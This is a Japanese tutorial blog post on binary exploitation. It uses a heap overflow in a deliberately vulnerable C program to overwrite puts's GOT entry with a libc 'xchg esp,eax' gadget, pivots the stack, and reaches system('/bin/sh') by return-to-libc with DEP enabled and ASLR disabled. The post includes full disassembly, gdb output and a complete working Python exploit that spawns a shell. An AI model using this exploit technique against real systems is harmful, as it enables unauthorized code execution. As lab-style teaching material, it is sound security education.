一つ前のエントリではヒープオーバーフローを利用したGOT overwriteによりシェルコードの実行を行ったが、DEPが有効な場合ヒープ領域に置いたシェルコードを実行することはできなくなる。 スタックバッファオーバーフローにおいてDEPを回避する方法にはReturn-to-libcがあるが、ヒープオーバーフローを利用してスタック領域の値を書き換えることは容易ではない。 しかし、このような場合でもStack pivotと呼ばれる方法によりスタックの頭を差し替えることで、Return-to-libcに繋げることができることが知られている。 ここでは、ヒープオーバーフローを利用したGOT overwriteからStack pivotを行い、Return-to-libcに繋げることによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
ここでは、一つ前のエントリと同じコードを利用することにする。
/* www.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> struct Box { int size; char *buf; }; struct Box *create_box(int size) { struct Box *box; box = malloc(sizeof(struct Box)); box->size = size; box->buf = malloc(size); return box; } void free_box(struct Box *box) { free(box->buf); free(box); } int main(int argc, char *argv[]) { int size; struct Box *box1, *box2; size = atoi(argv[1]); box1 = create_box(size); box2 = create_box(size); printf("[+] box1->buf = %p\n", box1->buf); printf("[+] box2->buf = %p\n", box2->buf); strcpy(box1->buf, argv[2]); strcpy(box2->buf, argv[3]); puts(box1->buf); puts(box2->buf); free_box(box2); free_box(box1); return 0; }
前回はDEP無効であったが、今回はASLR無効、DEP、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc www.c $ ./a.out 100 AAAA BBBB [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 AAAA BBBB
与える文字列が指定したバッファサイズ内であれば、正しく動作していることが確認できる。
ライブラリ関数呼び出し時のレジスタの値を調べてみる
生成された実行ファイルをディスアセンブルし、puts関数呼び出し前のアセンブリコードに注目してみる。
$ objdump -M intel -d a.out 08048522 <main>: ... 80485c4: e8 f7 fd ff ff call 80483c0 <strcpy@plt> 80485c9: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80485cd: 8b 40 04 mov eax,DWORD PTR [eax+0x4] 80485d0: 89 04 24 mov DWORD PTR [esp],eax 80485d3: e8 08 fe ff ff call 80483e0 <puts@plt> ...
1回目のputs関数の第一引数はbox1->buf
であるから、PLTセクションにあるputs@plt関数が呼ばれるときeaxレジスタにはbox1->buf
のポインタが入っていることがわかる。
確認のため、gdbでも調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/www/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080485d3 <+177>: call 0x80483e0 <puts@plt> ... ---Type <return> to continue, or q <return> to quit---q Quit (gdb) b *main+177 Breakpoint 1 at 0x80485d3 (gdb) run 100 AAAA BBBB Starting program: /home/user/tmp/www/a.out 100 AAAA BBBB [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 Breakpoint 1, 0x080485d3 in main () (gdb) x/i $pc => 0x80485d3 <main+177>: call 0x80483e0 <puts@plt> (gdb) i r eax 0x804b018 134524952 ecx 0xbffff94a -1073743542 edx 0x804b090 134525072 ebx 0xb7fd1ff4 -1208147980 esp 0xbffff750 0xbffff750 ebp 0xbffff778 0xbffff778 esi 0x0 0 edi 0x0 0 eip 0x80485d3 0x80485d3 <main+177> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/s $eax 0x804b018: "AAAA" (gdb) quit A debugging session is active. Inferior 1 [process 12380] will be killed. Quit anyway? (y or n) y
たしかに、puts@plt関数が呼ばれるときのeaxレジスタにはbox1->buf
のポインタが入っている。
ところで、ROPのエントリにて使ったlist_gadgets.pyを用いてlibcのROP gadgetを調べてみると、次のようなgadgetが存在することがわかる。
$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt $ cat gadgets.txt | grep xchg | grep esp 9b8c9: xchg esp,eax ...
xchgは二つのレジスタの値を交換する命令である。
GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭がbox1->buf
に移動する。
そしてret命令が実行されると、box1->buf
の最初の4バイトが次のリターンアドレスとして参照される。
つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->buf
にデータを入れておけば、そのままそれが実行されていくことになる。
このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eax
mov esp,eax
add esp,[some constant]
エクスプロイトコードを書いてみる
上の説明をもとに、puts関数のGOTアドレスをxchg esp,eax
を指すアドレスに書き換え、Return-to-libcに繋ぐエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen size = int(sys.argv[1]) base_libc = int(sys.argv[2], 16) addr_got_puts = 0x804a010 # objdump -d -j.plt a.out addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" addr_libc_pivot_eax = base_libc + 0x9b8c9 # search "xchg esp,eax" by list_gadgets.py buf1 = struct.pack('<I', addr_libc_system) buf1 += struct.pack('<I', addr_libc_exit) buf1 += struct.pack('<I', addr_libc_binsh) buf1 += 'A' * (size - len(buf1)) buf1 += 'AAAA' * 2 buf1 += struct.pack('<I', addr_got_puts) buf2 = struct.pack('<I', addr_libc_pivot_eax) with open('buf1', 'wb') as f: f.write(buf1) with open('buf2', 'wb') as f: f.write(buf2) p = Popen(['./a.out', str(size), buf1, buf2]) p.wait()
このコードは、二つのBoxが確保するバッファのサイズ、libcのベースアドレスを順に引数に取る。
また、Return-to-libcにおいてはsystem関数から/bin/sh
を呼び出し、その後exit関数が実行されるようにしている。
gdbでlibcのベースアドレスを調べ、そのアドレスを引数にセットして実行してみる。
$ python exploit.py 100 0xb7e2c000 [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な実行ファイルに対し、Stack pivotからのReturn-to-libcでシェルが起動できていることが確認できた。